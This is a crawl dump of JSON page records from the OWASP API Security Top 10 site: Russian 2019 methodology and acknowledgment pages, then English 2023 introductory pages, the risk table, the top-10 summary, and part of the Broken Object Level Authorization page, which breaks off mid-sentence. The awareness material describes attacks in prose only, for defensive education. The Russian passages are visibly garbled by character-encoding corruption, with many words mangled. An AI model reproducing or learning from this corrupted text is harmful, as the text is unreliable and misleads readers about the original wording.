рисков.\n\n[Методология ранжирования рисков OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) была использована в ходе анаНиСа рисков. Эксперты пО безопасности проанализировали результаты. Чтобы узнать Đž рассуждениях на эту тему обратитесь Đş секции [Риски безопасности API](../0x10-api-security-risks/).\n\nПервый черновик OWASP API Security Top 10 2019 был составлен на йаСо статистических результатов первого этапа и спискОв, созданных экспертами пО безопасности. Этот черновик был отправлен для проверки и анаНиСа другой группе экспертов пО безопасности с достаточным опытом в сфере безопасности API.\n\nOWASP API Security Top 10 2019 впервые был представлен на конференции OWASP Global AppSec Tel Aviv в Пао 2019 гОда. ĐĄ тех пор Он доступен на GitHub для публичного обсуждения и содействия.\n\nХписОк участников, внесших свОК вкНад, доступен в секции [Благодарность](../0xd1-acknowledgments/).", "znaku_textu": 3140, "slov": 240, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:20", "sha256": "306599d194eab04ead4a118c73256de860ea88b5606cfd4b0150ded998685c17", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xd1-acknowledgments/", "titulek": "Благодарность - OWASP API Security Top 10", "h1": "Благодарность", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xd1-acknowledgments/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Благодарность"}, {"uroven": 2, "text": "Благодарность участникам"}], "markdown": "# Благодарность\n\n## Благодарность участникам\n\nМы хотели бы поблагодарить всех участников, кто публично участвовал в проекте на GitHub иНи другими спОсОйаПи:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123", "znaku_textu": 684, "slov": 62, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:29", "sha256": "da1dcbc647ba8f773fba673a0770873c273d33265d5a1b4bbce4f0dbca803a98", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 3351853, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:36", "sha256": "4ccdf4e18368a8e60c919f30e63ac553921a71f7a4659551ae9a7883214a088c", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2023/en/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "", "popis": "OWASP API Security Top 10 2023 edition", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x00-header/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "| | | |\n| --- | --- | --- |\n| https://owasp.org | This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 163, "slov": 15, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:32", "sha256": "8f5f953bae2d471e116390cd81dbc893b6e547075852cf21ccf73d3686ba095c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x00-notice/", "titulek": "Notice - OWASP API Security Top 10", "h1": "Notice", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x00-notice/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notice"}], "markdown": "# Notice\n\nThis is the text version of OWASP API Security Top 10, used as source for any\nofficial versions of this document such the web site.\n\nContributions to the project such as comments, corrections, or translations\nshould be done here. For details on [How To Contribute](../../../../CONTRIBUTING/), please refer to\n[CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy\n- Paulo Silva", "znaku_textu": 399, "slov": 56, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:35", "sha256": "45277132e901c86e911be0c59a40faf511a3d8bfc0dc99e306e0c9b68f0d2d74", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x00-toc/", "titulek": "Table of Contents - OWASP API Security Top 10", "h1": "Table of Contents", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x00-toc/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Table of Contents"}], "markdown": "# Table of Contents\n\n- [Table of Contents](./)\n- [About OWASP](../0x01-about-owasp/)\n- [Foreword](../0x02-foreword/)\n- [Introduction](../0x03-introduction/)\n- [Release Notes](../0x04-release-notes/)\n- [API Security Risks](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2023](../0x11-t10/)\n- [API1:2023 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2023 Broken Authentication](../0xa2-broken-authentication/)\n- [API3:2023 Broken Object Property Level Authorization](../0xa3-broken-object-property-level-authorization/)\n- [API4:2023 Unrestricted Resource Consumption](../0xa4-unrestricted-resource-consumption/)\n- [API5:2023 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2023 Unrestricted Access to Sensitive Business Flows](../0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [API7:2023 Server Side Request Forgery](../0xa7-server-side-request-forgery/)\n- [API8:2023 Security Misconfiguration](../0xa8-security-misconfiguration/)\n- [API9:2023 Improper Inventory Management](../0xa9-improper-inventory-management/)\n- [API10:2023 Unsafe Consumption of APIs](../0xaa-unsafe-consumption-of-apis/)\n- [What's Next For Developers](../0xb0-next-devs/)\n- [What's Next For DevSecOps](../0xb1-next-devsecops/)\n- [Methodology and Data](../0xd0-about-data/)\n- [Acknowledgments](../0xd1-acknowledgments/)", "znaku_textu": 1378, "slov": 136, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:36", "sha256": "4c6cbd8f3ae0b18704888ff887497425dbe105320f8cbfcc48e7be56b81bd8b7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x01-about-owasp/", "titulek": "About OWASP - OWASP API Security Top 10", "h1": "About OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x01-about-owasp/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About OWASP"}, {"uroven": 2, "text": "Copyright and License"}], "markdown": "# About OWASP\n\nThe Open Worldwide Application Security Project (OWASP) is an open community\ndedicated to enabling organizations to develop, purchase, and maintain\napplications and APIs that can be trusted.\n\nAt OWASP, you'll find free and open:\n\n- Application security tools and standards.\n- Complete books on application security testing, secure code development, and\n secure code review.\n- Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Cheat sheets](https://cheatsheetseries.owasp.org/) on many common topics.\n- Standard security controls and libraries.\n- [Local chapters worldwide](https://owasp.org/chapters/) .\n- Cutting edge research.\n- Extensive [conferences worldwide](https://owasp.org/events/) .\n- [Mailing lists](https://groups.google.com/a/owasp.org/forum/#!overview) ( [archive](https://lists.owasp.org/mailman/listinfo) ).\n\nLearn more at: [https://www.owasp.org](https://www.owasp.org).\n\nAll OWASP tools, documents, videos, presentations, and chapters are free and\nopen to anyone interested in improving application security.\n\nWe advocate approaching application security as a people, process, and\ntechnology problem, because the most effective approaches to application\nsecurity require improvements in these areas.\n\nOWASP is a new kind of organization. Our freedom from commercial pressures\nallows us to provide unbiased, practical, and cost-effective information about\napplication security.\n\nOWASP is not affiliated with any technology company, although we support the\ninformed use of commercial security technology. OWASP produces many types of\nmaterials in a collaborative, transparent, and open way.\n\nThe OWASP Foundation is the non-profit entity that ensures the project's\nlong-term success. Almost everyone associated with OWASP is a volunteer,\nincluding the OWASP board, chapter leaders, project leaders, and project\nmembers. We support innovative security research with grants and infrastructure.\n\nCome join us!\n\n## Copyright and License\n\nCopyright © 2003-2023 The OWASP Foundation. This document is released under the\n[Creative Commons Attribution Share-Alike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/). For any reuse or\ndistribution, you must make it clear to others the license terms of this work.", "znaku_textu": 2244, "slov": 278, "odkazu": 65, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:37", "sha256": "dac3969e5c3ce16b49de330452ba2a601c388a51cb796522b9e05e97471fea64", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/a/owasp.org/forum/", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x02-foreword/", "titulek": "Foreword - OWASP API Security Top 10", "h1": "Foreword", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x02-foreword/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Foreword"}], "markdown": "# Foreword\n\nA foundational element of innovation in today's app-driven world is the\nApplication Programming Interface (API). From banks, retail, and transportation\nto IoT, autonomous vehicles, and smart cities, APIs are a critical part of\nmodern mobile, SaaS, and web applications and can be found in customer-facing,\npartner-facing, and internal applications.\n\nBy nature, APIs expose application logic and sensitive data such as Personally\nIdentifiable Information (PII) and because of this, APIs have increasingly\nbecome a target for attackers. Without secure APIs, rapid innovation would be\nimpossible.\n\nAlthough a broader web application security risks Top 10 still makes sense, due\nto their particular nature, an API-specific security risks list is required.\nAPI security focuses on strategies and solutions to understand and mitigate the\nunique vulnerabilities and security risks associated with APIs.\n\nIf you're familiar with the [OWASP Top 10 Project](https://owasp.org/www-project-top-ten/), then you'll notice the\nsimilarities between both documents: they are intended for readability and\nadoption. If you're new to the OWASP Top 10 series, you may be better off\nreading the [API Security Risks](../0x10-api-security-risks/) and [Methodology and Data](../0xd0-about-data/) sections\nbefore jumping into the Top 10 list.\n\nYou can contribute to OWASP API Security Top 10 with your questions, comments,\nand ideas at our GitHub project repository:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nYou can find the OWASP API Security Top 10 here:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security\n\nWe wish to thank all the contributors who made this project possible with their\neffort and contributions. They are all listed in the [Acknowledgments\nsection](../0xd1-acknowledgments/). Thank you!", "znaku_textu": 1887, "slov": 266, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:38", "sha256": "14c2c4b4038770f19efefdbe9d923cfb607da97c9408c45261b7e0fb6f8c0335", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x03-introduction/", "titulek": "Introduction - OWASP API Security Top 10", "h1": "Introduction", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x03-introduction/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Welcome to the OWASP API Security Top 10 - 2023!"}], "markdown": "# Introduction\n\n## Welcome to the OWASP API Security Top 10 - 2023!\n\nWelcome to the second edition of the OWASP API Security Top 10!\n\nThis awareness document was first published back in 2019. Since then, the API\nSecurity industry has flourished and become more mature. We strongly believe\nthis work has positively contributed to it, due to it being quickly adopted as\nan industry reference.\n\nAPIs play a very important role in modern application architecture. But since\ninnovation has a different pace than creating security awareness, we believe\nit's important to focus on creating awareness for common API security\nweaknesses.\n\nThe primary goal of the OWASP API Security Top 10 is to educate those involved\nin API development and maintenance, for example, developers, designers,\narchitects, managers, or organizations. You can know more about the API Security\nProject visiting [the project page](https://owasp.org/www-project-api-security/).\n\nIf you're not familiar with the OWASP top 10 series, we recommend checking at\nleast the following top 10 projects:\n\n- [OWASP Cloud-Native Application Security Top 10](https://owasp.org/www-project-cloud-native-application-security-top-10/)\n- [OWASP Desktop App Security Top 10](https://owasp.org/www-project-desktop-app-security-top-10/)\n- [OWASP Docker Top 10](https://owasp.org/www-project-docker-top-10/)\n- [OWASP Low-Code/No-Code Top 10](https://owasp.org/www-project-top-10-low-code-no-code-security-risks/)\n- [OWASP Machine Learning Security Top Ten](https://owasp.org/www-project-machine-learning-security-top-10/)\n- [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)\n- [OWASP TOP 10](https://owasp.org/www-project-top-ten/)\n- [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)\n- [OWASP Top 10 Client-Side Security Risks](https://owasp.org/www-project-top-10-client-side-security-risks/)\n- [OWASP Top 10 Privacy Risks](https://owasp.org/www-project-top-10-privacy-risks/)\n- [OWASP Serverless Top 10](https://owasp.org/www-project-serverless-top-10/)\n\nNone of the projects replaces another: if you're working on a mobile application\npowered by a back-end API, you're better off reading both the corresponding top\n10's. The same is valid if you're working on a web or desktop application\npowered by APIs.\n\nIn the [Methodology and Data](../0xd0-about-data/) section, you can read more about how this\nedition was created. For now, we encourage everyone to contribute with\nquestions, comments, and ideas at our [GitHub repository](https://github.com/OWASP/API-Security) or\n[Mailing list](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 2645, "slov": 367, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:40", "sha256": "18d7cca8b013de1de259daeee4ff8472929774120a20463bf9dfe0b5132ecda1", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x04-release-notes/", "titulek": "Release Notes - OWASP API Security Top 10", "h1": "Release Notes", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x04-release-notes/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Release Notes"}], "markdown": "# Release Notes\n\nThis is the second edition of the OWASP API Security Top 10 edition, exactly\nfour years after its first release. A lot has changed in the API (security)\nscene. API traffic increased at a fast pace, some API protocols gained a lot\nmore traction, many new API security vendors/solutions have popped up, and, of\ncourse, attackers have developed new skills and techniques to compromise\nAPIs. It was about time to get the list of the ten most critical API security\nrisks updated.\n\nWith a more mature API security industry, for the first time, there was [a\npublic call for data](https://owasp.org/www-project-api-security/announcements/cfd/2022/). Unfortunately, no data was contributed, but based on\nthe project's team experience, careful API security specialist review, and\ncommunity feedback on the release candidate, we built this new list. In the\n[Methodology and Data section](../0xd0-about-data/), you'll find more details about how this\nversion was built. For more details about the security risks please refer to the\n[API Security Risks section](../0x10-api-security-risks/).\n\nThe OWASP API Security Top 10 2023 is a forward-looking awareness document for\na fast pace industry. It does not replace other TOP 10's. In this edition:\n\n- We've combined Excessive Data Exposure and Mass Assignment focusing on the\n common root cause: object property level authorization validation failures.\n- We've put more emphasis on resource consumption, over focusing on the pace\n they are exhausted.\n- We've created a new category \"Unrestricted Access to Sensitive Business Flows\"\n to address new threats, including most of those that can be mitigated using\n rate limiting.\n- We added \"Unsafe Consumption of APIs\" to address something we've started\n seeing: attackers have started looking for a target's integrated services to\n compromise those, instead of hitting the APIs of their target directly. This\n is the right time to start creating awareness about this increasing risk.\n\nAPIs play an increasingly important role in modern microservices architecture,\nSingle Page Applications (SPAs), mobile apps, IoT, etc. The OWASP API Security\nTop 10 is a required effort to create awareness about modern API security\nissues.\n\nThis update was only possible due to the great effort of several volunteers,\nlisted in the [Acknowledgments](../0xd1-acknowledgments/) section.\n\nThank you!", "znaku_textu": 2368, "slov": 362, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:41", "sha256": "07dfb938f7ff93fa580247631a9d99a71625021f4ff7c23d906d6053453a5691", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x10-api-security-risks/", "titulek": "API Security Risks - OWASP API Security Top 10", "h1": "API Security Risks", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x10-api-security-risks/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API Security Risks"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API Security Risks\n\nThe [OWASP Risk Rating Methodology](https://owasp.org/www-project-risk-assessment-framework/) was used to do the risk analysis.\n\nThe table below summarizes the terminology associated with the risk score.\n\n| Threat Agents | Exploitability | Weakness Prevalence | Weakness Detectability | Technical Impact | Business Impacts |\n| --- | --- | --- | --- | --- | --- |\n| API Specific | Easy: **3** | Widespread **3** | Easy **3** | Severe **3** | Business Specific |\n| API Specific | Average: **2** | Common **2** | Average **2** | Moderate **2** | Business Specific |\n| API Specific | Difficult: **1** | Difficult **1** | Difficult **1** | Minor **1** | Business Specific |\n\n**Note**: This approach does not take the likelihood of the threat agent into\naccount. Nor does it account for any of the various technical details associated\nwith your particular application. Any of these factors could significantly\naffect the overall likelihood of an attacker finding and exploiting a particular\nvulnerability. This rating does not take into account the actual impact on your\nbusiness. Your organization will have to decide how much security risk from\napplications and APIs the organization is willing to accept given your culture,\nindustry, and regulatory environment. The purpose of the OWASP API Security Top\n10 is not to do this risk analysis for you. Since this edition is not\ndata-driven, prevalence results from a consensus among the team members.\n\n## References\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://owasp.org/www-project-risk-assessment-framework/)\n- [Article on Threat/Risk Modeling](https://owasp.org/www-community/Threat_Modeling)\n\n### External\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2020, "slov": 249, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:42", "sha256": "1e2d72320129c2d14dc12816dc498d314a32ea1ce8da1f39c2c955e0d4bd29d3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2023 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2023", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0x11-t10/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2023"}], "markdown": "# OWASP Top 10 API Security Risks – 2023\n\n| Risk | Description |\n| --- | --- |\n| [API1:2023 - Broken Object Level Authorization](../0xa1-broken-object-level-authorization/) | APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface of Object Level Access Control issues. Object level authorization checks should be considered in every function that accesses a data source using an ID from the user. |\n| [API2:2023 - Broken Authentication](../0xa2-broken-authentication/) | Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or to exploit implementation flaws to assume other user's identities temporarily or permanently. Compromising a system's ability to identify the client/user, compromises API security overall. |\n| [API3:2023 - Broken Object Property Level Authorization](../0xa3-broken-object-property-level-authorization/) | This category combines [API3:2019 Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) and [API6:2019 - Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/), focusing on the root cause: the lack of or improper authorization validation at the object property level. This leads to information exposure or manipulation by unauthorized parties. |\n| [API4:2023 - Unrestricted Resource Consumption](../0xa4-unrestricted-resource-consumption/) | Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Other resources such as emails/SMS/phone calls or biometrics validation are made available by service providers via API integrations, and paid for per request. Successful attacks can lead to Denial of Service or an increase of operational costs. |\n| [API5:2023 - Broken Function Level Authorization](../0xa5-broken-function-level-authorization/) | Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers can gain access to other users’ resources and/or administrative functions. |\n| [API6:2023 - Unrestricted Access to Sensitive Business Flows](../0xa6-unrestricted-access-to-sensitive-business-flows/) | APIs vulnerable to this risk expose a business flow - such as buying a ticket, or posting a comment - without compensating for how the functionality could harm the business if used excessively in an automated manner. This doesn't necessarily come from implementation bugs. |\n| [API7:2023 - Server Side Request Forgery](../0xa7-server-side-request-forgery/) | Server-Side Request Forgery (SSRF) flaws can occur when an API is fetching a remote resource without validating the user-supplied URI. This enables an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall or a VPN. |\n| [API8:2023 - Security Misconfiguration](../0xa8-security-misconfiguration/) | APIs and the systems supporting them typically contain complex configurations, meant to make the APIs more customizable. Software and DevOps engineers can miss these configurations, or don't follow security best practices when it comes to configuration, opening the door for different types of attacks. |\n| [API9:2023 - Improper Inventory Management](../0xa9-improper-inventory-management/) | APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. A proper inventory of hosts and deployed API versions also are important to mitigate issues such as deprecated API versions and exposed debug endpoints. |\n| [API10:2023 - Unsafe Consumption of APIs](../0xaa-unsafe-consumption-of-apis/) | Developers tend to trust data received from third-party APIs more than user input, and so tend to adopt weaker security standards. In order to compromise APIs, attackers go after integrated third-party services instead of trying to compromise the target API directly. |", "znaku_textu": 3998, "slov": 525, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:43", "sha256": "ac00589e1bb28f4977b3c82dfb61713b7aac0cbd07b15bd40d8516ef86379524", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/", "titulek": "API1:2023 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2023 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2023 Broken Object Level Authorization"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 3, "text": "Scenario #3"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API1:2023 Broken Object Level Authorization\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Easy** | Technical **Moderate** : Business Specific |\n| Attackers can exploit API endpoints that are vulnerable to broken object-level authorization by manipulating the ID of an object that is sent within the request. Object IDs can be anything from sequential integers, UUIDs, or generic strings. Regardless of the data type, they are easy to identify in the request target (path or query string parameters), request headers, or even as part of the request payload. | This issue is extremely common in API-based applications because the server component usually does not fully track the client’s state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access. The server response is usually enough to understand whether the request was successful. | Unauthorized access to other users’ objects can result in data disclosure to unauthorized parties, data loss, or data manipulation. Under certain circumstances, unauthorized access to objects can also lead to full account takeover. |\n\n## Is the API Vulnerable?\n\nObject level authorization is an access control mechanism that is usually\nimplemented at the code level to validate that a user can only access the\nobjects that they should have permissions to access.\n\nEvery API endpoint that receives an ID of an object, and performs any action\non the object, should implement object-level authorization checks. The checks\nshould validate that the logged-in user has permissions to perform the\nrequested action on the requested object.\n\nFailures in this mechanism typically lead to unauthorized information\ndisclosure, modification, or destruction of all data.\n\nComparing the user ID of the current session (e.g. by extracting it from the\nJWT token) with the vulnerable ID parameter isn't a sufficient solution to\nsolve Broken Object Level Authorization (BOLA). This approach could address\nonly a small subset of cases.\n\nIn the case of BOLA, it's by design that the user will have access to the\nvulnerable API endpoint/function. The violation happens at the object level,\nby manipulating the ID. If an attacker manages to access an API\nendpoint/function they should not have access to - this is a case of [Broken\nFunction Level Authorization](../0xa5-broken-function-level-authorization/) (BFLA) rather than BOLA.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAn e-commerce platform for online stores (shops) provides a listing page with\nthe revenue charts for their hosted shops. Inspecting the browser requests, an\nattacker can identify the API endpoints used as a data source for those charts\nand their pattern: `/shops/{shopName}/revenue_data.json`. Using another API\nendpoint, the attacker can get the list of all hosted shop names. With a\nsimple script to manipulate the names in the list, replacing `{shopName}` in\nthe URL, the attacker gains access to the sales data of thousands of e-commerce\nstores.\n\n### Scenario #2\n\nAn automobile manufacturer has enabled remote control of its vehicles via a\nmobile API for communication with the driver's mobile phone. The API enables\nthe driver to remotely start and stop the engine and lock and unlock the doors.\nAs part of this flow, the user sends the Vehicle Identification Number (VIN) to\nthe API.\nThe API fails to validate that the VIN represents a vehicle 